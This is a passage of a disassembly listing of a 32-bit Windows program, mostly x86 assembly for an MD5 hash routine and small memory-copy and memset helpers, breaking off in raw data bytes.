; CODE XREF: sub_434A00+30j lea eax, [ebx+8] push eax call sub_4010C3 add esp, 4 pop esi loc_434A6C: ; CODE XREF: sub_434A00+13j ; sub_434A00+18j ... mov eax, [ebx] push eax nop call near ptr 2740000h cmp [ebx+4], ebp jz short loc_434A86 lea ecx, [ebx+8] push ecx call sub_402252 add esp, 4 loc_434A86: ; CODE XREF: sub_434A00+78j push ebx nop call near ptr 77C2C21Bh add esp, 4 loc_434A90: ; CODE XREF: sub_434A00+Aj pop ebp xor eax, eax pop ebx retn sub_434A00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_434AD0 proc near ; CODE XREF: sub_4020F9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_5103C4 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] cmp esi, eax jz short loc_434AF4 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_434B03 pop esi mov eax, 2 pop ebx retn ; --------------------------------------------------------------------------- loc_434AF4: ; CODE XREF: sub_434AD0+11j push eax call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_434B03 mov eax, ebx loc_434B03: ; CODE XREF: sub_434AD0+1Aj ; sub_434AD0+2Fj push edi xor edi, edi test esi, esi jz short loc_434B65 test eax, eax jz short loc_434B52 mov ecx, [esi+4] test ecx, ecx jz short loc_434B52 test ebx, ebx jz short loc_434B52 mov ecx, [eax+80h] test ecx, ecx mov [esp+0Ch+arg_0], ecx jz short loc_434B3D loc_434B27: ; CODE XREF: sub_434AD0+65j cmp [ecx+8], esi jz short loc_434B39 mov ecx, [ecx+0Ch] test ecx, ecx mov [esp+0Ch+arg_0], ecx jnz short loc_434B27 jmp short loc_434B3D ; --------------------------------------------------------------------------- loc_434B39: ; CODE XREF: sub_434AD0+5Aj test ecx, ecx jnz short loc_434B52 loc_434B3D: ; CODE XREF: sub_434AD0+55j ; sub_434AD0+67j push esi push eax lea eax, [esp+14h+arg_0] push eax call sub_401DDE mov edi, eax add esp, 0Ch test edi, edi jnz short loc_434B65 loc_434B52: ; CODE XREF: sub_434AD0+3Cj ; sub_434AD0+43j ... mov ecx, [esi] push ebx push ecx nop call near ptr 276054Eh test eax, eax jnz short loc_434B65 mov edi, 0Bh loc_434B65: ; CODE XREF: sub_434AD0+38j ; sub_434AD0+80j ... mov eax, edi pop edi pop esi pop ebx retn sub_434AD0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_434BA0 proc near ; CODE XREF: sub_401190j push ebx push esi push edi nop call near ptr 27D089Eh mov esi, eax call sub_438250 sub_434BA0 endp ; --------------------------------------------------------------------------- dd 448BF88Bh, 88B1024h, 0B3E89051h, 56022FC0h, 22E8D88Bh dd 90022FC2h, 36CAE857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_434BF0 proc near ; CODE XREF: sub_401A69j arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx mov [eax+14h], ecx mov [eax+10h], ecx mov dword ptr [eax], 67452301h mov dword ptr [eax+4], 0EFCDAB89h mov dword ptr [eax+8], 98BADCFEh mov dword ptr [eax+0Ch], 10325476h retn sub_434BF0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434C30 proc near ; CODE XREF: sub_401C26j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] push edi mov edi, [esp+10h+arg_8] mov ecx, [esi+10h] mov eax, ecx lea edx, ds:0[edi*8] shr eax, 3 lea ecx, [ecx+edi*8] and eax, 3Fh cmp ecx, edx mov [esi+10h], ecx jnb short loc_434C5B inc dword ptr [esi+14h] loc_434C5B: ; CODE XREF: sub_434C30+26j mov ebx, [esi+14h] mov ecx, edi shr ecx, 1Dh add ebx, ecx mov [esi+14h], ebx mov ebx, 40h sub ebx, eax cmp edi, ebx jb short loc_434CB9 mov edx, [esp+10h+arg_4] push ebx lea eax, [eax+esi+18h] push edx push eax call sub_435A30 lea ecx, [esi+18h] push ecx push esi call sub_434DA0 mov ebp, ebx add ebx, 3Fh add esp, 14h cmp ebx, edi jnb short loc_434CB5 loc_434C99: ; CODE XREF: sub_434C30+83j mov edx, [esp+10h+arg_4] lea eax, [edx+ebx-3Fh] push eax push esi call sub_434DA0 add ebx, 40h add esp, 8 add ebp, 40h cmp ebx, edi jb short loc_434C99 loc_434CB5: ; CODE XREF: sub_434C30+67j xor eax, eax jmp short loc_434CBB ; --------------------------------------------------------------------------- loc_434CB9: ; CODE XREF: sub_434C30+41j xor ebp, ebp loc_434CBB: ; CODE XREF: sub_434C30+87j mov ecx, [esp+10h+arg_4] sub edi, ebp add ebp, ecx push edi lea edx, [eax+esi+18h] push ebp push edx call sub_435A30 add esp, 0Ch pop edi pop esi pop ebp pop ebx retn sub_434C30 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434D10 proc near ; CODE XREF: sub_402176j var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 8 lea eax, [esp+8+var_8] push esi push edi mov edi, [esp+10h+arg_4] push 8 lea esi, [edi+10h] push esi push eax call sub_435950 mov eax, [esi] add esp, 0Ch shr eax, 3 and eax, 3Fh mov ecx, 38h cmp eax, 38h jb short loc_434D43 mov ecx, 78h loc_434D43: ; CODE XREF: sub_434D10+2Cj sub ecx, eax push ecx push offset aA ; "─" push edi call sub_401C26 lea ecx, [esp+1Ch+var_8] push 8 push ecx push edi call sub_401C26 mov edx, [esp+28h+arg_0] push 10h push edi push edx call sub_435950 push 58h push 0 push edi call sub_435A60 add esp, 30h pop edi pop esi add esp, 8 retn sub_434D10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434DA0 proc near ; CODE XREF: sub_434C30+58p ; sub_434C30+73p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 40h mov ecx, [esp+40h+arg_4] push ebx push ebp push esi mov esi, [esp+4Ch+arg_0] push edi push 40h lea edx, [esp+54h+var_40] mov eax, [esi] mov edi, [esi+4] mov ebx, [esi+8] mov ebp, [esi+0Ch] push ecx push edx mov [esp+5Ch+arg_0], eax call sub_4359C0 mov eax, edi mov edx, [esp+5Ch+arg_0] not eax mov ecx, ebx and eax, ebp and ecx, edi or eax, ecx mov ecx, [esp+5Ch+var_40] add eax, ecx lea ecx, [edx+eax-28955B88h] mov edx, edi mov eax, ecx shr eax, 19h shl ecx, 7 or eax, ecx add eax, edi mov ecx, eax and edx, eax not ecx and ecx, ebx or ecx, edx mov edx, [esp+5Ch+var_3C] add ecx, edx lea edx, [ecx+ebp-173848AAh] mov ecx, edx shr ecx, 14h shl edx, 0Ch or ecx, edx add ecx, eax mov edx, ecx mov ebp, ecx not edx and edx, edi and ebp, eax or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, ecx lea ebx, [ebx+edx+242070DBh] mov edx, ebx shr edx, 0Fh shl ebx, 11h or edx, ebx add edx, ecx mov ebx, edx and ebp, edx not ebx and ebx, eax or ebx, ebp mov ebp, [esp+5Ch+var_34] add ebx, ebp lea ebx, [edi+ebx-3E423112h] mov edi, ebx shl edi, 16h shr ebx, 0Ah or edi, ebx mov ebx, edx add edi, edx mov [esp+5Ch+arg_0], edi mov ebp, [esp+5Ch+arg_0] not edi and edi, ecx and ebx, ebp mov ebp, [esp+5Ch+var_30] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea eax, [eax+edi-0A83F051h] mov edi, eax shr edi, 19h shl eax, 7 or edi, eax add edi, ebx mov eax, edi and ebp, edi not eax and eax, edx or eax, ebp mov ebp, [esp+5Ch+var_2C] add eax, ebp lea ecx, [ecx+eax+4787C62Ah] mov eax, ecx shr eax, 14h shl ecx, 0Ch or eax, ecx add eax, edi mov ecx, eax mov ebp, eax not ecx and ecx, ebx and ebp, edi or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, eax lea edx, [edx+ecx-57CFB9EDh] mov ecx, edx shr ecx, 0Fh shl edx, 11h or ecx, edx add ecx, eax mov edx, ecx and ebp, ecx not edx and edx, edi or edx, ebp mov ebp, [esp+5Ch+var_24] add edx, ebp lea ebx, [ebx+edx-2B96AFFh] mov edx, ebx shl edx, 16h shr ebx, 0Ah or edx, ebx mov ebx, ecx add edx, ecx mov [esp+5Ch+arg_0], edx mov ebp, [esp+5Ch+arg_0] not edx and edx, eax and ebx, ebp mov ebp, [esp+5Ch+var_20] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edi, [edi+edx+698098D8h] mov edx, edi shr edx, 19h shl edi, 7 or edx, edi add edx, ebx mov edi, edx and ebp, edx not edi and edi, ecx or edi, ebp mov ebp, [esp+5Ch+var_1C] add edi, ebp lea eax, [eax+edi-74BB0851h] mov edi, eax shr edi, 14h shl eax, 0Ch or edi, eax add edi, edx mov eax, edi not eax mov ebp, edi and eax, ebx and ebp, edx or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, edi lea ecx, [ecx+eax-0A44Fh] mov eax, ecx shr eax, 0Fh shl ecx, 11h or eax, ecx add eax, edi mov ecx, eax and ebp, eax not ecx and ecx, edx or ecx, ebp mov ebp, [esp+5Ch+var_14] add ecx, ebp lea ebx, [ebx+ecx-76A32842h] mov ecx, ebx shl ecx, 16h shr ebx, 0Ah or ecx, ebx mov ebx, eax add ecx, eax mov [esp+5Ch+arg_0], ecx mov ebp, [esp+5Ch+arg_0] not ecx and ecx, edi and ebx, ebp mov ebp, [esp+5Ch+var_10] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edx, [edx+ecx+6B901122h] mov ecx, edx shr ecx, 19h shl edx, 7 or ecx, edx add ecx, ebx mov edx, ecx and ebp, ecx not edx and edx, eax or edx, ebp mov ebp, [esp+5Ch+var_C] add edx, ebp lea edi, [edi+edx-2678E6Dh] mov edx, edi shr edx, 14h shl edi, 0Ch or edx, edi add edx, ecx mov ebp, edx mov edi, edx not ebp and edi, ecx and ebx, ebp or edi, ebx mov ebx, [esp+5Ch+var_8] add edi, ebx mov ebx, edx lea eax, [eax+edi-5986BC72h] mov edi, eax shr edi, 0Fh shl eax, 11h or edi, eax add edi, edx mov eax, edi and ebx, edi not eax mov [esp+5Ch+arg_4], eax and eax, ecx or eax, ebx mov ebx, [esp+5Ch+var_4] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax+49B40821h] mov eax, ebx shl eax, 16h shr ebx, 0Ah or eax, ebx mov ebx, edx add eax, edi mov [esp+5Ch+arg_0], eax and ebx, eax mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_3C] or ebx, eax add ebx, ebp mov ebp, edi lea ecx, [ecx+ebx-9E1DA9Eh] mov ebx, [esp+5Ch+arg_0] mov eax, ecx shr eax, 1Bh shl ecx, 5 or eax, ecx mov ecx, [esp+5Ch+arg_4] add eax, ebx and ecx, ebx and ebp, eax or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edx, [edx+ecx-3FBF4CC0h] and ebx, eax mov ecx, edx shr ecx, 17h shl edx, 9 or ecx, edx add ecx, eax mov edx, ecx and edx, ebp mov ebp, [esp+5Ch+var_14] or ebx, edx add ebx, ebp lea edi, [edi+ebx+265E5A51h] mov edx, edi shr edx, 12h shl edi, 0Eh or edx, edi mov edi, eax add edx, ecx not edi mov ebx, edx and edi, ecx and ebx, eax or edi, ebx mov ebx, [esp+5Ch+var_40] add edi, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edi-16493856h] mov edi, ebx shl edi, 14h shr ebx, 0Ch or edi, ebx mov ebx, ecx add edi, edx mov [esp+5Ch+arg_0], edi mov edi, ecx mov ebp, [esp+5Ch+arg_0] not edi and edi, edx and ebx, ebp mov ebp, [esp+5Ch+var_2C] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] lea eax, [eax+edi-29D0EFA3h] mov edi, eax shr edi, 1Bh shl eax, 5 or edi, eax mov eax, edx add edi, ebx not eax mov ebp, edx and eax, ebx and ebp, edi or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea ecx, [ecx+eax+2441453h] and ebx, edi mov eax, ecx shr eax, 17h shl ecx, 9 or eax, ecx add eax, edi mov ecx, eax and ecx, ebp mov ebp, [esp+5Ch+var_4] or ebx, ecx add ebx, ebp lea edx, [edx+ebx-275E197Fh] mov ecx, edx shr ecx, 12h shl edx, 0Eh or ecx, edx mov edx, edi add ecx, eax not edx mov ebx, ecx and edx, eax and ebx, edi or edx, ebx mov ebx, [esp+5Ch+var_30] add edx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edx-182C0438h] mov edx, ebx shl edx, 14h shr ebx, 0Ch or edx, ebx mov ebx, eax add edx, ecx mov [esp+5Ch+arg_0], edx mov edx, eax mov ebp, [esp+5Ch+arg_0] not edx and edx, ecx and ebx, ebp mov ebp, [esp+5Ch+var_1C] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ecx lea edi, [edi+edx+21E1CDE6h] mov edx, edi shr edx, 1Bh shl edi, 5 or edx, edi mov edi, ecx add edx, ebx not edi and edi, ebx and ebp, edx or edi, ebp mov ebp, [esp+5Ch+var_8] add edi, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea eax, [eax+edi-3CC8F82Ah] and ebx, edx mov edi, eax shr edi, 17h shl eax, 9 or edi, eax add edi, edx mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_34] or ebx, eax add ebx, ebp lea ecx, [ecx+ebx-0B2AF279h] mov eax, ecx shr eax, 12h shl ecx, 0Eh or eax, ecx mov ecx, edx add eax, edi not ecx mov ebx, eax and ecx, edi and ebx, edx or ecx, ebx mov ebx, [esp+5Ch+var_20] add ecx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+ecx+455A14EDh] mov ecx, ebx shl ecx, 14h shr ebx, 0Ch or ecx, ebx mov ebx, edi add ecx, eax mov [esp+5Ch+arg_0], ecx mov ecx, edi mov ebp, [esp+5Ch+arg_0] not ecx and ecx, eax and ebx, ebp mov ebp, [esp+5Ch+var_C] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, eax lea edx, [edx+ecx-561C16FBh] mov ecx, edx shr ecx, 1Bh shl edx, 5 or ecx, edx mov edx, eax add ecx, ebx not edx and edx, ebx and ebp, ecx or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edi, [edi+edx-3105C08h] and ebx, ecx mov edx, edi shr edx, 17h shl edi, 9 or edx, edi add edx, ecx mov edi, edx and edi, ebp mov ebp, [esp+5Ch+var_24] or ebx, edi add ebx, ebp lea eax, [eax+ebx+676F02D9h] mov edi, eax shr edi, 12h shl eax, 0Eh or edi, eax mov eax, ecx add edi, edx not eax mov ebx, edi and eax, edx and ebx, ecx or eax, ebx mov ebx, [esp+5Ch+var_10] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax-72D5B376h] mov eax, ebx shl eax, 14h shr ebx, 0Ch or eax, ebx add eax, edi mov ebp, [esp+5Ch+var_2C] mov ebx, edx xor ebx, edi xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_20] lea ecx, [ecx+ebx-5C6BEh] mov ebx, ecx shr ebx, 1Ch shl ecx, 4 or ebx, ecx mov ecx, edi add ebx, eax xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_14] lea ecx, [edx+ecx-788E097Fh] mov edx, ecx shr edx, 15h shl ecx, 0Bh or edx, ecx add edx, ebx mov ecx, edx xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_8] lea ecx, [edi+ecx+6D9D6122h] mov edi, ecx shr edi, 10h shl ecx, 10h or edi, ecx mov ecx, edx add edi, edx xor ecx, edi mov [esp+5Ch+arg_0], ecx xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_3C] lea eax, [eax+ecx-21AC7F4h] mov ecx, eax shl ecx, 17h shr eax, 9 or ecx, eax mov eax, [esp+5Ch+arg_0] add ecx, edi xor eax, ecx add eax, ebp mov ebp, [esp+5Ch+var_30] lea ebx, [ebx+eax-5B4115BCh] mov eax, ebx shr eax, 1Ch shl ebx, 4 or eax, ebx mov ebx, edi add eax, ecx xor ebx, ecx xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_24] lea edx, [edx+ebx+4BDECFA9h] mov ebx, edx shr ebx, 15h shl edx, 0Bh or ebx, edx add ebx, eax mov edx, ebx xor edx, ecx xor edx, eax add edx, ebp lea edi, [edi+edx-944B4A0h] mov edx, edi shr edx, 10h shl edi, 10h or edx, edi mov edi, ebx add edx, ebx xor edi, edx mov ebp, edi xor ebp, eax add ebp, [esp+5Ch+var_18] lea ebp, [ecx+ebp-41404390h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_C] add ecx, edx xor edi, ecx add edi, ebp mov ebp, [esp+5Ch+var_40] lea edi, [eax+edi+289B7EC6h] mov eax, edi shr eax, 1Ch shl edi, 4 or eax, edi mov edi, edx add eax, ecx xor edi, ecx xor edi, eax add edi, ebp mov ebp, [esp+5Ch+var_34] lea ebx, [ebx+edi-155ED806h] mov edi, ebx shr edi, 15h shl ebx, 0Bh or edi, ebx add edi, eax mov ebx, edi xor ebx, ecx xor ebx, eax add ebx, ebp lea edx, [edx+ebx-2B10CF7Bh] mov ebx, edx shr ebx, 10h shl edx, 10h or ebx, edx mov edx, edi add ebx, edi xor edx, ebx mov ebp, edx xor ebp, eax add ebp, [esp+5Ch+var_28] lea ebp, [ecx+ebp+4881D05h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_1C] add ecx, ebx xor edx, ecx add edx, ebp lea edx, [eax+edx-262B2FC7h] mov eax, edx shr eax, 1Ch shl edx, 4 or eax, edx mov edx, ebx add eax, ecx xor edx, ecx xor edx, eax add edx, [esp+5Ch+var_10] lea edi, [edi+edx-1924661Bh] mov edx, edi shr edx, 15h shl edi, 0Bh or edx, edi add edx, eax mov edi, edx xor edi, ecx xor edi, eax add edi, [esp+5Ch+var_4] lea ebx, [ebx+edi+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, edx add edi, edx xor ebx, edi xor ebx, eax add ebx, [esp+5Ch+var_38] lea ecx, [ecx+ebx-3B53A99Bh] mov ebx, ecx shl ebx, 17h shr ecx, 9 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_40] lea eax, [eax+ecx-0BD6DDBCh] mov ecx, eax shr ecx, 1Ah shl eax, 6 or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_24] lea edx, [edx+eax+432AFF97h] mov eax, edx shr eax, 16h shl edx, 0Ah or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_8] lea edi, [edi+edx-546BDC59h] mov edx, edi shr edx, 11h shl edi, 0Fh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_2C] lea ebx, [ebx+edi-36C5FC7h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_10] lea ecx, [ecx+ebx+655B59C3h] mov ebx, ecx shr ebx, 1Ah shl ecx, 6 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_34] lea eax, [eax+ecx-70F3336Eh] mov ecx, eax shr ecx, 16h shl eax, 0Ah or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_18] lea edx, [edx+eax-100B83h] mov eax, edx shr eax, 11h shl edx, 0Fh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_3C] lea edi, [edi+edx-7A7BA22Fh] mov edx, edi shl edx, 15h shr edi, 0Bh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_20] lea ebx, [ebx+edi+6FA87E4Fh] mov edi, ebx shr edi, 1Ah shl ebx, 6 or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_4] lea ecx, [ecx+ebx-1D31920h] mov ebx, ecx shr ebx, 16h shl ecx, 0Ah or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_28] lea eax, [eax+ecx-5CFEBCECh] mov ecx, eax shr ecx, 11h shl eax, 0Fh or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_C] lea edx, [edx+eax+4E0811A1h] mov eax, edx shl eax, 15h shr edx, 0Bh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_30] lea edi, [edi+edx-8AC817Eh] mov edx, edi shr edx, 1Ah shl edi, 6 or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_14] lea ebx, [ebx+edi-42C50DCBh] mov edi, ebx shr edi, 16h shl ebx, 0Ah or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi push 40h xor ebx, edx push 0 add ebx, [esp+64h+var_38] lea ecx, [ecx+ebx+2AD7D2BBh] mov ebx, ecx shr ebx, 11h shl ecx, 0Fh or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, ebp mov ebp, [esi+8] add ebp, ebx lea eax, [eax+ecx-14792C6Fh] mov ecx, [esi] add ecx, edx mov edx, eax shl edx, 15h shr eax, 0Bh or edx, eax mov eax, [esi+4] add edx, ebx mov ebx, [esi+0Ch] add eax, edx add ebx, edi mov [esi+4], eax lea eax, [esp+64h+var_40] push eax mov [esi], ecx mov [esi+8], ebp mov [esi+0Ch], ebx call sub_435A60 add esp, 18h pop edi pop esi pop ebp pop ebx add esp, 40h retn sub_434DA0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435950 proc near ; CODE XREF: sub_434D10+14p ; sub_434D10+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi mov edi, [esp+4+arg_8] test edi, edi jbe short loc_435997 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_4] push esi or esi, 0FFFFFFFFh lea eax, [edx+1] sub esi, edx loc_43596A: ; CODE XREF: sub_435950+44j mov dl, [ecx] add ecx, 4 mov [eax-1], dl mov edx, [ecx-4] shr edx, 8 mov [eax], dl mov edx, [ecx-4] shr edx, 10h mov [eax+1], dl mov edx, [ecx-4] shr edx, 18h mov [eax+2], dl add eax, 4 lea edx, [esi+eax] cmp edx, edi jb short loc_43596A pop esi loc_435997: ; CODE XREF: sub_435950+7j pop edi retn sub_435950 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4359C0 proc near ; CODE XREF: sub_434DA0+26p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp mov ebp, [esp+4+arg_8] test ebp, ebp jbe short loc_435A0A mov ecx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi mov edi, 0FFFFFFFEh lea eax, [ecx+2] sub edi, ecx loc_4359DD: ; CODE XREF: sub_4359C0+46j xor ecx, ecx xor edx, edx mov ch, [eax+1] mov dl, [eax-1] mov cl, [eax] add eax, 4 shl ecx, 8 or ecx, edx xor edx, edx mov dl, [eax-6] add esi, 4 shl ecx, 8 or ecx, edx mov [esi-4], ecx lea ecx, [edi+eax] cmp ecx, ebp jb short loc_4359DD pop edi pop esi loc_435A0A: ; CODE XREF: sub_4359C0+7j pop ebp retn sub_4359C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435A30 proc near ; CODE XREF: sub_434C30+4Ep ; sub_434C30+9Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] test esi, esi jbe short loc_435A4C mov eax, [esp+4+arg_0] mov ecx, [esp+4+arg_4] sub ecx, eax loc_435A43: ; CODE XREF: sub_435A30+1Aj mov dl, [ecx+eax] mov [eax], dl inc eax dec esi jnz short loc_435A43 loc_435A4C: ; CODE XREF: sub_435A30+7j pop esi retn sub_435A30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435A60 proc near ; CODE XREF: sub_434D10+60p ; sub_434DA0+932p arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] test ecx, ecx jbe short locret_435A8E mov al, [esp+arg_4] push ebx mov bl, al mov edx, ecx mov bh, bl push edi mov edi, [esp+8+arg_0] mov eax, ebx shl eax, 10h mov ax, bx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb pop edi pop ebx locret_435A8E: ; CODE XREF: sub_435A60+6j retn sub_435A60 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_435AA0 proc near ; CODE XREF: sub_401C21j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_435AA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 0Bh push 3 push 4Fh push 14h push 5 lea eax, [esp+58h+var_3C] push 7 mov esi, ecx push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_435AA0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Dh push 4Fh push 14h push 5 lea edx, [esp+30h] push 7 push edx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE add esi, 32h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_435B90: ; CODE XREF: ___:loc_401F3Cj push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43D116 push eax mov eax, 16D4h mov large fs:0, esp call sub_437B30 push ebx push ebp push esi mov esi, [esp+16F0h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_436148 push 80h mov dword ptr [esp+1Ch], 800h nop call near ptr 77C2C407h add esp, 4 mov ebp, eax lea eax, [esp+64h] mov ecx, esi push offset asc_444600 ; " " push 1 push eax call sub_4016B8 push 800h mov dword ptr [esp+16F0h], 0 call sub_437AEA ; --------------------------------------------------------------------------- db 8Bh dd 51172C1Dh, 4C48300h, 0B9F88Bh, 33000002h, 0E43D89C0h dd 0F3005103h, 7794BEABh, 4E8B0044h, 4C8D51FCh, 2DE85024h dd 8DFFFCBCh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCB889h dd 1B2C3D8Bh, 0FF500051h, 4C483D7h, 4C244C8Dh, 0B873E850h dd 0FF50FFFCh, 4C483D7h, 1FEAE850h, 83907781h, 0C08508C4h dd 26A840Fh, 3E810000h, 80000001h, 9B840Fh, 568B0000h dd 0F0685204h, 55004445h, 1833E890h, 0B9001Ch, 33000002h dd 24BC8DC0h, 6F0h, 0F30CC483h, 100B9ABh, 0E8BF0000h, 0F3005103h dd 3E4A1ABh, 4C8D0051h, 948D1824h, 6E424h, 0C75100h, 0 dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 444D3068h dd 694F8D00h, 0FCB7D8E8h, 938F8AFFh, 50000000h, 94878Ah dd 51500000h, 4D808568h, 